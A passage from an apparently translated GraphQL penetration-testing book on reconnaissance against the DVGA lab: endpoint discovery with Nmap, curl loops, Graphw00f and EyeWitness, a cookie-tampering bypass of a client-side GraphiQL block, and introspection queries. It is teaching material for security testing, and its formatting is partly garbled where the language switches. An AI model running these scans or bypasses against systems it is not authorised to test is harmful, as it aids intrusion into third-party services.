you should understand what GraphQL is and what some of its attack vectors may look like. You should also be quite comfortable with GraphQL’s language, having reviewed the anatomy of a query and dissected its internal components, such as operations, fields, and arguments. You also began to leverage the GraphQL lab you built in Chapter 2 by using Altair to send numerous queries to DVGA. From a server’s perspective, you were introduced to the major components that make up GraphQL’s type system and the role these types play in supporting the structure of GraphQL schemas and introspection queries. Finally, we created a base camp from which we can launch our future GraphQL hacking attacks. We hinted at the weaknesses and loopholes in the GraphQL spec and in how implementations interpret and extend unregulated functionality beyond the spec. Keep following this trail of breadcrumbs as you continue your GraphQL hacker journey.````

第四章:侦察

所有的安全测试都从侦察阶段开始。在这个阶段,我们尽可能多地收集目标的信息。这些信息将帮助我们做出有根据的决策,选择攻击应用程序的方式,从而提高成功的机会。

你可能会问,GraphQL 只是一个 API 层,究竟有什么需要了解的呢?你将会了解到,通过实验和使用专门的工具,我们可以收集大量关于 GraphQL API 背后运行的应用程序的信息,甚至是 GraphQL 实现本身。尽管 GraphQL 查询结构在所有 GraphQL 实现中都是一致的,无论它们是用什么编程语言编写的,但你可能会看到在可用操作、字段、参数、指令、安全控制、对特殊构造查询的响应等方面的差异。

以下是我们在侦察阶段应努力回答的一些关键问题:Web 服务器是否有 GraphQL API?GraphQL 配置在哪个端点接收查询?GraphQL 实现是用什么语言编写的?目标服务器上运行的是哪种 GraphQL 实现?该实现是否已知存在某些漏洞?此 GraphQL 实现有哪些防御机制?该实现的默认配置设置有哪些?GraphQL 服务器是否有额外的安全防护层?能够回答这些问题将帮助我们制定更有针对性的攻击计划,发现防御中的漏洞。

检测 GraphQL

在渗透测试中检测 GraphQL 时,首先熟悉当前流行的 GraphQL 服务器实现非常重要。GraphQL 有许多用不同编程语言编写的实现,每种实现可能有不同的默认配置或已知的弱点。表 4-1 列出了几种 GraphQL 实现及其所用的编程语言。

表 4-1:GraphQL 服务器实现及其编程语言

服务器实现 语言
Apollo TypeScript
Graphene Python
Yoga TypeScript
Ariadne Python
graphql-ruby Ruby
graphql-php PHP
graphql-go Go
graphql-java Java
Sangria Scala
Juniper Rust
HyperGraphQL Java
Strawberry Python
Tartiflette Python

这些是目前使用的一些最流行的实现方式,还有一些较为小众的实现,例如 Scala 的 Sangria、Rust 的 Juniper 和 Java 的 HyperGraphQL。本章稍后我们将讨论如何在渗透测试中区分它们。

GraphQL API 的检测可以通过多种方式进行:可以手动进行,如果网络上有多个主机,通常手动方式很难扩展;也可以自动进行,使用各种 Web 扫描工具。使用 Web 扫描工具的优势在于它们具有可扩展性。它们是多线程的,且通常能够读取外部文件作为程序输入,例如包含要扫描的主机名列表的文本文件。这些工具已经内置了检测 Web 界面的逻辑,并且通过使用脚本语言(如 Bash 或 Python),你可以程序化地将它们运行在数百个 IP 地址或子域上。在本章中,我们将使用流行的扫描工具,如 Nmap,以及 GraphQL 定向的扫描工具,如 Graphw00f,用于侦察。

常见端点

在第一章中,我们强调了 REST 和 GraphQL API 之间的一些区别。其中一个与侦察阶段相关的区别是,GraphQL API 端点通常是静态的,最常见的是 /graphql

然而,虽然 /graphql 通常是默认的 GraphQL 端点,但 GraphQL 实现可以重新配置为使用完全不同的路径。在这种情况下,我们该如何检测它呢?一种方法是手动尝试几个常见的替代 GraphQL API 路径,例如版本化端点:

  1. /v1/graphql

  2. /v2/graphql

  3. /v3/graphql

当应用程序需要支持多个版本的 API 时,通常会看到这些版本化的 API 端点,无论是为了向后兼容,还是为了引入新特性,并且不与客户仍在使用的稳定 API 版本发生冲突。

另一种找到 GraphQL 实现的方法是通过 IDE,如 GraphQL Playground 或 GraphiQL Explorer,我们在第一章中用它们来实验 GraphQL 查询。当启用这些界面时,它通常会使用一个额外的专用端点。这意味着 GraphQL 可能也存在于以下端点下:

  1. /graphiql

  2. /playground

如果这些端点恰好也进行了版本控制,它们的路径可能会添加版本号前缀,例如 /v1/graphiql/v2/graphiql/v1/playground/v2/playground 等等。

列表 4-1 显示了如何通过 Graphene(一种基于 Python 的 GraphQL 实现)暴露两个端点,一个用于 GraphQL,另一个用于 GraphiQL Explorer,GraphiQL Explorer 是内嵌在 Graphene 中的。

app.add_url_rule('/graphql', view_func=GraphQLView.as_view(
  'graphql',
  schema=schema
))

app.add_url_rule('/graphiql', view_func=GraphQLView.as_view(
  'graphiql',
  schema = schema,
  graphiql = True
))

列表 4-1:Graphene 的端点定义

Graphene 将 /graphql 端点定义为其主要的 GraphQL 查询端点。然后,它将 /graphiql 定义为 GraphiQL Explorer 查询的第二个端点。最后,它启用了 GraphiQL Explorer 界面。当客户端浏览到 /graphiql 端点时,GraphQL 服务器将呈现 IDE 界面。

请记住,每个端点可能有不同的安全设置。例如,一个端点可能比另一个更严格。当你发现同一目标主机上有两个端点提供 GraphQL 查询时,你需要分别测试它们。

这里最重要的要点是,尽管 GraphQL 端点通常位于可预测的路径上,但开发者仍然可以根据需求自定义它,可能是为了隐藏它免受好奇眼睛的窥探,或者仅仅是为了符合内部应用程序部署标准。

常见响应

现在你对 GraphQL 通常接收查询的端点有了了解,下一步是学习 GraphQL API 如何响应数据包。GraphQL 在网络中相当容易识别。这在你执行零知识渗透测试或漏洞赏金猎杀时特别有用。

GraphQL 规范描述了查询响应结构应如何格式化。这使得 API 使用者在解析 GraphQL 响应时,能够预期到一个预定的格式。以下是来自 GraphQL 规范的摘录,描述了查询响应应该是什么样的:

如果操作是查询,则操作的结果是执行操作的顶级选择集与查询根操作类型的结果。

执行查询操作时,可以提供一个初始值:

ExecuteQuery(``query``, schema``, variableValues``, initialValue``)

  1. queryType 成为架构中的根 Query 类型。
  2. 断言:queryType 是一个 Object 类型。
  3. selectionSet 成为查询中的顶级选择集。
  4. data 成为正常运行 ExecuteSelectionSet(selectionSet, queryType, initialValue, variableValues) 的结果(允许并行化)。
  5. errors 成为执行选择集时产生的任何字段错误。
  6. 返回一个包含数据和错误的无序映射。

实际上,这意味着当 GraphQL API 有结果返回客户端查询时,它将返回一个 data JSON 字段。同时,当执行客户端查询时发生错误,它也会返回一个 errors JSON 字段。

提前知道这两条信息非常有价值。简单来说,我们现在有两个条件,响应必须满足这两个条件,才能确定它来自一个 GraphQL API:

  1. 一个有效的查询响应应该 始终 填充 data 字段,包含查询响应信息。

  2. 一个无效的查询响应应该 始终 填充 errors 字段,包含有关出错原因的信息。

现在我们可以将这些信息作为扫描和检测逻辑的一部分,自动发现网络上的 GraphQL 服务器。我们需要做的就是发送一个有效或格式错误的查询,并观察我们收到的响应。

让我们使用 HTTP POST 方法对 DVGA 执行一个简单的 GraphQL 查询,看看这些响应结构如何运作。打开 Altair GraphQL 客户端,确保地址栏设置了 http://localhost:5013/graphql 地址;然后在 Altair 的左侧面板中输入以下查询并运行:

**query {**
 **pastes {**
 **id**
 **}**
**}**

接下来,点击播放按钮将查询发送到 GraphQL 服务器。这应该返回 pastes 对象的 id 字段。你应该能够看到类似于以下输出的响应:

 "data": {
     "pastes": [
      {
 "id": "1"
      }
    ]
  }

如你所见,GraphQL 将查询响应作为 data JSON 字段的一部分返回,正如 GraphQL 规范中描述的那样。我们得到了查询中指定的 pastes 对象和 id 字段。如果你在实验中看到返回的 id 字符串与此处显示的不同,不用担心;这是预期的结果。

现在,让我们运行另一个查询,探索当发送无效查询到 GraphQL 时会发生什么。这将展示当 GraphQL 在查询执行过程中遇到问题时,errors JSON 字段会被 GraphQL 服务器返回。以下查询是格式错误的,GraphQL 无法处理它。请在 Altair 中运行该查询并观察响应:

**query {**
 **badfield {**
 **id**
 **}**
**}**

请注意,我们指定了一个名为 badfield 的顶级字段。由于该字段不存在,GraphQL 服务器无法完成查询。GraphQL 响应如下所示:

{
   "errors": [
    {
       "message": "Cannot query field \"badfield\" on type \"Query\".",
      "locations": [
        {
          "line": 2,
          "column": 3
        }
      ]
    },
  ]
}

如你所见,GraphQL 服务器无法成功处理我们的查询。它返回一个包含 errors JSON 字段的响应。message JSON 字段告诉我们服务器无法查询名为 badfield 的字段,因为该字段在 GraphQL 模式中不存在。

Nmap 扫描

假设你需要对包含数千个主机的网络进行渗透测试;手动浏览每个主机,找出可能提供有趣内容的主机,如 API 或易受攻击的商业应用程序,会非常困难。在这种情况下,渗透测试人员通常使用 Web 应用扫描器或自定义脚本来自动从主机获取信息。例如,像 <title> 超文本标记语言(HTML)标签、整个 <body> 标签,甚至 server HTTP 响应头等信息,都可能暗示远程服务器正在运行的特定应用程序。

需要注意的是,网络应用程序不一定总是具有用户界面,这意味着它们可能不会提供与应用程序相关的任何 HTML 内容,甚至不会暴露 HTTP 头部信息供我们检测。它们通常作为独立的 API 服务器,仅通过指定的 API 提供数据。那么,在这种情况下,我们如何检测 GraphQL 呢?幸运的是,在某些条件下,如使用的 HTTP 方法或发送到服务器的有效负载,GraphQL API 通常会返回可预测的响应。清单 4-2 显示了当客户端发出 GET 请求时,GraphQL 返回的常见响应。

# curl -X GET http://localhost:5013/graphql

{"errors":[{"message":"Must provide query string."}]}

清单 4-2:HTTP GET 请求的 GraphQL 响应

字符串 Must provide query string 在 GraphQL 实现中经常使用,例如基于 Python 和 Node.js 的实现。(请记住,基于 GET 的查询通常不被 GraphQL 服务器支持。请放心:如果我们遇到这种情况,我们还有很多其他方法来检测 GraphQL。)

有了这些信息,我们现在可以自动化扫描并发现网络中可能存在的其他 GraphQL 服务器。列表 4-3 展示了如何使用 Nmap 配合 http-grep NSE 脚本来做到这一点,该脚本通过模式匹配在给定网页中查找关键词。

# nmap -p 5013 -sV --script=http-grep
**--script-args='match="Must provide query string",** ❶ **http-grep.url="/graphql"' localhost** ❷

PORT     STATE SERVICE VERSION
5013/tcp open  http    Werkzeug httpd
| http-grep:
|   (1) http://localhost:5013/graphql:
|       (1) User Pattern 1:
|       + Must provide query string

列表 4-3:使用 Nmap 的 http-grep 进行单词匹配的 GraphQL 响应

在 ❶ 处,我们为 http-grep 指定了一个名为 match 的脚本参数,值为 Must provide query string(我们从 GraphQL 响应中收到的消息)。在 ❷ 处,我们定义了另一个参数,名为 http-grep.url,值为 /graphql,指示 Nmap 在 Web 应用程序中搜索特定页面。底层,Nmap 将向 localhost 发出一个 HTTP GET 请求,并使用我们定义的参数字符串值作为搜索模式,在从 Web 服务器响应中提取的文本中进行查找。在其输出中,Nmap 显示在网页上找到了一个模式,并指示它找到匹配的字符串。

你可能已经注意到,我们向 Nmap 传递了一个特定的端口(-p)——即端口 5013。像任何 Web 服务器一样,GraphQL 服务器可以运行在任何端口上,但一些端口是相当常见的,比如 80–89、443、4000–4005、8443、8000 和 8080。我们建议尽可能扫描常见和不常见的端口范围。

__typename 字段

到目前为止,我们已经准确知道在查询中要请求哪些字段,比如之前请求的 pastes,其选择集为 id。你可能会想,如果我们不知道 GraphQL API 上有哪些字段呢?如果没有这些信息,我们如何识别 GraphQL?幸运的是,有一种快速的方法可以查询 GraphQL 并返回有效的响应,而无需了解应用程序的模式。

元字段 是 GraphQL API 向客户端暴露的内置字段。一个例子是 __schema(GraphQL 中的自省的一部分)。另一个元字段的例子是 __typename。当使用时,它返回正在查询的对象类型的名称。列表 4-4 显示了一个使用此元字段的查询。

query {
  pastes {
    __typename
  }
}

列表 4-4:带有 __typename 元字段的 GraphQL 查询

当你使用 Altair 运行这个查询时,返回的结果将是 pastes 对象类型的名称:

 "data": {
    "pastes": [
      {
        "__typename": "PasteObject"
      }
    ]
  }

如你所见,GraphQL 告诉我们 pastes 对象的类型名称是 PasteObject。这里的真正技巧是,__typename 元字段也可以用于查询根类型,如 列表 4-5 所示。

query {
  __typename
}

列表 4-5:与查询根类型一起使用的 GraphQL 元字段

此查询使用 __typename 来描述查询根类型,并且几乎适用于任何 GraphQL 实现,因为 __typename 是官方规范的一部分。

当您尝试从命令行查询 GraphQL 时,GraphQL 服务器期望某种请求结构。对于 HTTP GET 类型的查询,请求应包含以下 HTTP 查询参数:

  • query 用于 GraphQL 查询(必选参数)。

  • operationName 用于操作名称,当多个查询被发送到单个文档时使用。该参数告诉 GraphQL 服务器在有多个操作时执行哪个特定操作(可选参数)。

  • variables 用于查询变量(可选参数)。

对于 HTTP POST 类型的查询,相同的参数应通过 HTTP 请求体以 JSON 格式传递。

当 GraphQL 服务器使用 GET 接受查询时,可以通过简写语法传递 query 参数和 GraphQL 查询(在此案例中是查询 {__typename})。考虑到这一点,我们可以使用 Nmap 很容易地自动化 GraphQL 检测。Listing 4-6 显示了如何使用 Nmap 运行 __typename 查询。

# nmap -p 5013 -sV --script=http-grep --script-args='match="__typename",
**http-grep.url="/graphql?query=\{__typename\}"' localhost**

PORT     STATE SERVICE VERSION
5013/tcp open  http    Werkzeug httpd
| http-grep:
|   (1) http://localhost:5013/graphql?query=\{__typename\}:
|     (1) User Pattern 1:
|_      + __typename

Listing 4-6:使用基于 GET 的查询通过 Nmap 检测 GraphQL

在此示例中,Nmap 脚本 http-grep 在后台使用 GET 方法执行其工作。

如果您有多个主机需要扫描,您可能希望利用 Nmap 的 -iL 标志指向一个包含主机名列表的文件,如 Listing 4-7 所示。

# nmap -p 5013 -iL hosts.txt -sV --script=http-grep
**--script-args='match="__typename", http-grep.url="/graphql?query=\{__typename\}"'**

Listing 4-7:使用 Nmap 扫描文件中定义的多个目标

本示例中的 hosts.txt 文件将包含单独列出的 IP 地址或域名系统(DNS)主机名。

如果 GraphQL 服务器不支持基于 GET 的查询,我们可以使用 cURL 和 __typename 字段通过 POST 请求来检测 GraphQL,如 Listing 4-8 所示。

# curl -X POST http://localhost:5013/graphql -d '{"query":"{__typename }"}'
**-H "Content-Type: application/json"**

Listing 4-8:使用 cURL 发送基于 POST 的查询

要在主机列表上使用此检测方法,可以使用 Bash 脚本,如 Listing 4-9 所示。

# for host in $(cat hosts.txt); do
 **curl -X POST "$host" -d '{"query":"{__typename }"}' -H "Content-Type: application/json"**
**done**

Listing 4-9:使用 cURL 自动化基于 POST 的 GraphQL 检测的 Bash 脚本

本示例中的 hosts.txt 文件将包含每行一个的完整目标 URL 列表(包括它们的协议方案、域名、端口和端点)。

Graphw00f

在第二章中,我们简要讨论了 Graphw00f,这是一种基于 Python 的 GraphQL 工具,用于检测 GraphQL 并执行实现级指纹识别。在本节中,我们将使用它来在实验室中检测 DVGA,并带您了解它如何实现检测。

我们在本章早些时候提到,默认情况下,GraphQL 服务器位于 /graphql 端点。当情况不是这样时,我们可能需要一种自动化方式来遍历已知端点,以便找出查询从何处提供。Graphw00f 允许你在扫描时指定自定义的端点列表。如果你没有提供列表,Graphw00f 会在检测 GraphQL 时使用其硬编码的常见端点列表,如 列表 4-10 所示。

def possible_graphql_paths():
    return [
        '/graphql',
  `--snip--`
        '/console',
        '/playground',
        '/gql',
        '/query',
 `--snip--`
    ]

列表 4-10:Graphw00f 源代码中的常见 GraphQL 端点列表

要查看 Graphw00f 的实际操作,打开终端并执行 列表 4-11 中的命令。我们使用命令行参数 -t(目标)和 -d(检测)。在这种情况下,-t 标志表示远程 URL http://localhost:5013,而 -d 标志会开启检测模式,指示 Graphw00f 对目标 URL 执行 GraphQL 检测。如果你对 Graphw00f 的参数有疑问,可以使用 -h 标志查看更多选项。

# cd ~/graphw00f
# python3 main.py -d -t http://localhost:5013

                      graphw00f
          The fingerprinting tool for GraphQL

 [*] Checking http://localhost:5013/
 [*] Checking http://localhost:5013/graphql
 [!] Found GraphQL at http://localhost:5013/graphql

列表 4-11:使用 Graphw00f 检测 GraphQL

在检测模式下运行时,Graphw00f 会遍历各种网页路径。它检查主网页根文件夹和/graphql文件夹中是否存在 GraphQL。然后,根据我们之前讨论的 HTTP 响应启发式,它会向我们发出信号,表示在/graphql文件夹下找到了 GraphQL。

要使用你自己的端点列表,你可以传递 -w(词汇表)标志,并将其指向一个包含你端点的文件,如 列表 4-12 所示。

# cat wordlist.txt

/app/graphql
/dev/graphql
/v5/graphql

# python3 main.py -d -t http://localhost:5013 -w wordlist.txt

[*] Checking http://localhost:5013/app/graphql
[*] Checking http://localhost:5013/dev/graphql
[*] Checking http://localhost:5013/v5/graphql

列表 4-12:使用自定义端点列表与 Graphw00f

检测 GraphiQL Explorer 和 GraphQL Playground

GraphiQL Explorer 和 GraphQL Playground IDE 是使用 JavaScript 库 React 构建的。然而,在执行侦察时,我们通常依赖于无法渲染包含 JavaScript 的网页的工具,如命令行 HTTP 客户端(如 cURL)或网络应用扫描器(如 Nikto)。在这个过程中,我们可能会错过一些有趣的网页界面。

通常,你会发现寻找网络上可用的任何网页界面的迹象是有益的,比如管理、调试或配置面板,所有这些都是黑客攻击的理想目标。这些面板往往数据丰富,且常常成为转向其他网络或提升权限的途径。它们也通常不像公开面对外部的应用程序那样经过加固。公司通常认为外部空间(互联网)的风险高于内部空间(公司网络)。因此,他们通常会通过积极的补丁策略、配置审查和频繁的漏洞扫描来保护公开面对外部的服务器和应用程序。不幸的是,内部应用程序很少得到相同的保护,这使得它们成为黑客攻击的更容易目标。

扫描图形网页界面的一个有趣且常被忽视的技巧是使用诸如无头浏览器之类的工具。无头浏览器是功能完整的命令行网页浏览器,用户可以对其进行编程以执行各种任务,例如获取页面内容、提交表单或模拟网页上的真实用户行为。例如,当您需要渲染包含 JavaScript 代码的网页时,无头浏览器 Selenium 和 PhantomJS 非常有用。

有一个特别的安全工具已经结合了无头浏览器来解决这一空白:EyeWitness。这个网页扫描器通过利用背后的 Selenium 无头浏览器驱动引擎,能够拍摄网页的截图。然后,EyeWitness 生成一个漂亮的报告,并附上页面的屏幕截图。

使用 EyeWitness 扫描图形界面

由于这两个 GraphQL IDE 使用 JavaScript 代码,我们需要一个强大的扫描工具来帮助我们在执行全网扫描时识别它们。我们可以使用 EyeWitness 来识别这些图形界面。

EyeWitness 提供了许多选项来定制其扫描行为,您可以通过使用-h选项运行工具来查看这些选项。为了检测 GraphQL IDE 面板,我们将使用--web选项,它将尝试使用无头浏览器引擎捕获扫描站点的屏幕截图,同时结合--single选项,当您只需要扫描单个目标 URL 时,这个选项非常适用。然后,我们将使用-d标志告诉 EyeWitness 报告应存储在哪个文件夹中(在本例中为dvga-report文件夹)。列表 4-13 将所有步骤结合在一起。

# eyewitness --web --single http://localhost:5013/graphiql -d dvga-report

Attempting to screenshot http://localhost:5013/graphiql

 [*] Done! Report written in the dvga-report folder!
 Would you like to open the report now? [Y/n]

列表 4-13:EyeWitness 的运行时输出

在输出中,EyeWitness 表示它已将收集到的网页源文件保存在dvga-report文件夹中,并询问我们是否要打开报告。按 Y 和 ENTER 键以打开一个网页浏览器,显示包含扫描期间拍摄的截图的 HTML 报告。图 4-1 展示了报告。

图 4-1:EyeWitness 生成的 HTML 报告

此外,dvga-report将包含几个文件夹,如下所示:

# ls -l dvga-report/
total 112
-rw-r--r-- 1 kali kali 95957 Dec 15 15:19 jquery.min.js
-rw-r--r-- 1 kali kali  2356 Feb 11 15:10 report.html
drwxr-xr-x 2 kali kali  4096 Feb 11 15:09 screens
drwxr-xr-x 2 kali kali  4096 Feb 11 15:09 source
-rw-r--r-- 1 kali kali   684 Feb 11 15:09 style.css

report.html文件包含有关目标的信息,例如它返回给客户端的 HTTP 响应头,目标上运行的应用程序的屏幕截图,以及指向网页源代码的链接。虽然您可以通过 EyeWitness 拍摄的屏幕截图来直观地识别 GraphiQL IDE,但您也可以通过搜索source文件夹中的源代码文件来确认您的发现。运行列表 4-14 中的命令,搜索源代码中是否有 GraphiQL Explorer 或 GraphQL Playground 的字符串。

# grep -Hnio "graphiql|graphql-playground" dvga-report/source/*
source/http.localhost.5013.graphiql.txt:18:graphiql
source/http.localhost.5013.graphiql.txt:18:graphiql
source/http.localhost.5013.graphiql.txt:18:graphiql

列表 4-14:网页源代码中的关键字匹配

让我们分解这个命令,解释一下这里发生了什么。我们通过传递 i 标志运行一个不区分大小写的 grep 搜索,以查找 source 文件夹中任何包含 graphqlgraphql-playground 的实例。使用 -H 标志,我们告诉 grep 打印包含任何匹配模式的文件名。-n 标志表示匹配所在的行号(在此例中为 18)。-o 标志只打印匹配行中产生正面结果的部分。如你所见,搜索在第 18 行找到了多个 graphiql 字符串实例。

EyeWitness 可以针对一组 URL 运行与单个 URL 相同类型的扫描,方法是使用 -f(文件)标志。当使用这个标志时,EyeWitness 会期望一个包含目标 URL 列表的文本文件进行扫描。Listing 4-15 展示了如何将单个 URL (http://localhost:5013/graphiql) 写入文本文件 (urls.txt),并将其作为自定义 URL 列表传递给 EyeWitness。

# echo 'http://localhost:5013/graphiql' > urls.txt
# eyewitness --web -f urls.txt -d dvga-report

Starting Web Requests (1 Hosts)
Attempting to screenshot http://localhost:5013/graphiql
Finished in 8 seconds

[*] Done! Report written in the dvga-report folder!

Listing 4-15:使用 EyeWitness 扫描多个 URL

EyeWitness 会遍历文件中指定的 URL,扫描它们,并将其输出保存在 dvga-report 文件夹中,供进一步检查。

在这个例子中,我们使用了一个只包含单个 URL 的文件。通常,你可能想要搜索除 /graphql 端点之外的任何其他网页路径,以检查 GraphQL 是否位于一个替代的位置,尤其是那些不太显眼的地方。你可以通过多种方式创建一个 URL 列表,并与 EyeWitness 一起使用。第一个选项是使用在第 73 页 “常见端点” 中提到的常见 GraphQL 端点列表。

或者,可以使用 Kali 自带的目录词表,位于 /usr/share/wordlists。其中一个例子是 dirbuster 词表。EyeWitness 需要完整的 URL,而这个词表只包含网页路径,因此我们首先需要使用 Bash 脚本对其进行格式化,如 Listing 4-16 所示。

# for i in $(cat /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt);
**do echo http://localhost:5013/$i >> urls.txt; done**

# cat urls.txt

http://localhost:5013/api
http://localhost:5013/apis
http://localhost:5013/apidocs
http://localhost:5013/apilist

Listing 4-16:使用 Bash 和目录词表构建 URL 列表

这个 Bash for 循环确保了词表 directory-list-2.3-small.txt 中的目录被附加到我们的目标主机 (http://localhost:5013),以便 EyeWitness 在扫描中使用它们。剩下的就是用我们新的词表文件 urls.txt 运行 EyeWitness。

使用图形化客户端尝试查询

在渗透测试中发现 GraphiQL Explorer 或 GraphQL Playground 并不意味着 GraphQL API 本身允许你进行未经授权的查询。因为 GraphiQL Explorer 和 GraphQL Playground 只是 GraphQL API 的前端界面,它们实际上是与 GraphQL 服务器交互的 HTTP 客户端。

在某些情况下,这些图形化界面可能由于多种原因无法查询 API。GraphQL API 中可能会实现身份验证或授权层,阻止未授权的查询。API 还可能会基于客户端属性(如地理位置或基于 IP 地址的允许列表)限制查询。客户端的某些防护措施也可能会阻止客户端通过 GraphiQL Explorer 或 GraphQL Playground 运行查询。

为了确认我们能够使用接口查询 GraphQL 服务器,我们需要发送某种形式的未经认证的 GraphQL 查询。该查询必须是能够在任何 GraphQL API 上工作的查询。可以将这个查询视为确认远程 GraphQL API 是否接受来自客户端的未经认证的查询。我们可以称之为 金丝雀 GraphQL 查询

在你的实验室机器上打开 Firefox 浏览器并访问 http://localhost:5013/ 以访问 DVGA。你应该能看到 DVGA 的主页。接下来,浏览到我们之前发现的 GraphiQL Explorer 面板,地址是 http://localhost:5013/graphiql。你会注意到我们立即收到一个错误,表示我们的访问被拒绝,错误信息为 400 Bad Request: GraphiQL Access Rejected,如 图 4-2 所示。

图 4-2:GraphiQL Explorer 拒绝客户端访问

作为黑客,查看事物在后台是如何运作的非常重要。点击窗口右上角的 Docs 按钮。你应该看到一个错误信息,No Schema Available。这个错误意味着 GraphiQL Explorer 无法从 API 获取到 schema 信息。因为 GraphiQL Explorer 会在每次页面加载时自动向 GraphQL API 发送 introspection 查询,以便用 schema 信息填充文档部分,它依赖于这些文档的可用性。

你可以通过使用 Firefox 的开发者工具来查看这一行为。按下 SHIFT-F9 或右键点击网页上的任意位置,选择 检查元素 来打开开发者工具控制台。点击 Network 选项卡;然后按 F5 重新加载页面。

你应该能看到一条发送到 /graphiql 端点的 POST 请求。图 4-3 显示了这个 introspection 查询。

图 4-3:Firefox 开发者工具中显示的 GraphiQL Explorer introspection 查询

如果 introspection 查询成功发送,是什么原因拒绝了我们对 GraphiQL Explorer 的访问呢?让我们继续在 Firefox 开发者工具中寻找线索。点击 Storage 选项卡,如 图 4-4 所示。

图 4-4:Firefox 开发者工具中的 Storage 选项卡

存储选项卡向我们展示了由应用程序设置的 HTTP cookies,并允许我们访问浏览器的本地存储和会话存储。在左侧窗格中,点击 Cookies 下拉菜单,选择 http://localhost:5013 以查看该域的具体 cookies,如 图 4-5 所示。

图 4-5:HTTP Cookies

你会注意到,在右侧窗格中,我们的 HTTP cookies 中设置了两个键:envsession。特别是 env 键很有趣,因为它似乎将字符串 graphiql:disable 设置为其值。作为黑客,这应该引起你的警觉。这个 cookie 值是否可能是导致 GraphiQL Explorer 拒绝访问的原因?我们可以通过篡改其值来验证这一点。

双击文本 graphiql:disable,这样你就可以修改它;然后只需删除 disable 并将其替换为 enable。接下来,刷新网页。你会注意到,我们不再在 GraphiQL Explorer 中看到拒绝信息。为了确认篡改 cookie 是否有效,尝试运行一个 GraphQL 查询。你应该能够从 GraphQL API 获得响应!这是一个弱客户端安全控制的例子,容易被绕过。

开发人员通常以客户端值得信任为前提来创建 Web 应用程序,但并非每个人都会遵守规则。那些试图寻找漏洞的攻击者会篡改应用程序并尝试绕过任何防护措施。重要的是要记住,攻击者能够直接控制的任何东西都有可能被绕过。然而,在客户端实施的控制措施并不少见;你可能会发现应用程序仅在客户端实现了输入验证或文件上传验证。这些措施往往可以被绕过。在第七章中,你将学习如何击败 GraphQL 的授权和认证机制。

使用自省查询 GraphQL

自省是 GraphQL 的关键功能之一,它提供了有关 GraphQL 架构所支持的各种类型和字段的信息。自文档化的 API 对于任何需要使用它的人来说都非常有用,比如第三方企业或其他客户端。

作为黑客,当我们遇到一个 GraphQL 应用时,我们最想测试的事情之一就是它的自省机制是否启用。许多 GraphQL 实现默认启用自省。有些实现可能提供禁用自省的选项,但其他实现则可能没有。例如,Python 的 GraphQL 实现 Graphene 没有提供禁用自省的选项。要禁用自省,消费者必须深入代码,找到阻止自省查询被处理的方法。另一方面,GraphQL 的 PHP 实现 graphql-php 默认启用自省,但也记录了如何完全禁用此功能。表格 4-2 展示了部分流行的 GraphQL 服务器实现中自省的状态。

表格 4-2:GraphQL 实现中自省的状态

语言 实现 自省配置 禁用自省选项
Python Graphene 默认启用 不可用
Python Ariadne 默认启用 可用
PHP graphql-php 默认启用 可用
Go graphql-go 默认启用 不可用
Ruby graphql-ruby 默认启用 可用
Java graphql-java 默认启用 不可用

任何直接影响安全的默认设置对黑客来说都是好消息。应用程序维护者很少会更改这些默认设置。(有些维护者甚至可能不知道这些设置。)在表格 4-2 中,你可以看到,在一些情况下——如 graphql-go、graphql-java 和 Graphene——自省只能在应用程序维护者自己将解决方案编码到 GraphQL API 中时禁用;没有官方的、经过厂商验证的解决方案来禁用它。

尽管对此问题的看法各异,尤其是在安全圈中,但在 GraphQL 中,自省通常被认为是一项功能,而不是一个漏洞。采用 GraphQL 的公司可能会选择保持其启用,而其他公司则可能会禁用它,以避免泄露可能被用来进行攻击的信息。如果没有外部消费者与 GraphQL API 集成,开发人员可能会选择完全禁用自省,而不影响正常的应用程序流程。

根据你的目标,自省查询的响应可能会相当大。此外,如果你正在攻击一个具有成熟安全程序的目标,这些查询可能会被监控,防止来自不可信客户端的任何尝试,例如来自新地理位置或新 IP 地址的请求。

要通过使用我们的漏洞服务器实验自省查询,请在你的实验室中打开 Altair 客户端,并确保地址栏设置为http://localhost:5013/graphql。接下来,输入在列表 4-17 中显示的自省查询,并在 Altair 中执行它。

**query {**
 **__schema {**
 **types {**
 **name**
 **}**
 **}**
**}**

列表 4-17:最简单形式的自省查询

该查询使用了元字段__schema,这是 GraphQL 模式反射系统的类型名称。然后它请求所有在 GraphQL 服务器中可用的typesname。以下输出显示了服务器对该查询的响应:

{
  "data": {
    "__schema": {
      "types": [
`--snip--`
        {
          "name": "PasteObject"
        },
        {
          "name": "CreatePaste"
        },
        {
          "name": "DeletePaste"
        },
        {
          "name": "UploadPaste"
        },
        {
          "name": "ImportPaste"
        },
`--snip--`
      ]
    }
  }
}

虽然我们收到了有效的响应,但当前形式的查询仅提供了 API 功能的部分视图。响应中缺少关键信息,例如查询和变更的名称、允许客户端传递参数的查询信息、参数的数据类型(例如标量类型如String and `Boolean``), and so on. These are important, because queries that accept arguments could be prone to vulnerabilities, such as injections, server-side request forgeries, and so on.`)。

````We can craft a more specialized introspection query that would give us more data about the target application’s schema. A useful introspection query is one that will give us information on the entry points into the application, such as queries, mutations, subscriptions, and the type of data that can be injected into them. Consider the introspection query shown in Listing 4-18. ``` query IntrospectionQuery { __schema { ❶ queryType { name } mutationType { name } subscriptionType { name } ❷ types { kind name ❸ fields { name ❹ args { name } } } } } ``` Listing 4-18: A more useful introspection query The introspection query in Listing 4-18 gives us a bit more insight into the API. At ❶ we get the `name` of all queries (`queryType`), mutations (`mutationType`), and subscriptions (`subscriptionType`) available in the GraphQL API. These names are typically self-explanatory, to make it easier for clients to use the API, so knowing these query names gives us an idea of the information we could receive. At ❷ we get all the `types` in the schema, along with their `kind` (such as an object) and name (such as `PasteObject`). At ❸ we get the `fields` along with the `name` of each one, which will allow us to know the types of fields we can fetch when we use different GraphQL objects. Next, we get the arguments (`args`) of these fields along with their `name` ❹. Arguments could be any information the API is expecting the client to supply when it queries the API (typically, dynamic data). For example, when a client creates a new paste, it will supply an arbitrary `title` argument and a `content` argument containing the body of the paste, which might be a code snippet or other text. In penetration tests, you may want to run an introspection query against an entire network, assuming a GraphQL server may be present. In this case, you would either need to write your own script or use the Nmap NSE script *graphql-introspection.nse* we installed in Chapter 2. This script is simple: it queries GraphQL by using the `__schema` meta-field to determine if it’s fetchable. Say you have a list of IP addresses in a text file such as *hosts.txt*. Using Nmap’s `-iL` flag, you can tell Nmap to use it as its list of targets. Using the `--script` flag, you can then tell Nmap to run the *graphql-introspection* NSE script against any host that has port `5013` open (`-p` flag). The `-sV` flag performs a 